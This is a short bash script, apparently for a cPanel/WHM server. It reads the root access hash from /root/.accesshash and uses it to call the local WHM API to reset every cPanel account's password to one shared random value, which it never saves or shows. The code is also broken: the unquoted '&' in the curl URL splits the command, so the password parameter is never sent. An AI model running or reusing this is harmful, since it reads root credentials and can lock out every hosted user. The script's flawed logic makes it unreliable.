#!/bin/bash
PASS=$(cat /dev/urandom|tr -dc "a-zA-Z0-9-_\$\?"|fold -w 9|head -n 1) 
hash=`cat /root/.accesshash |tr -d '\n'` 

for USER in `ls -A /var/cpanel/users`; do 
	curl -H "Authorization: WHM root:$hash" http://localhost:2086/json-api/passwd?user=$USER&pass=$PASS ; 
done 

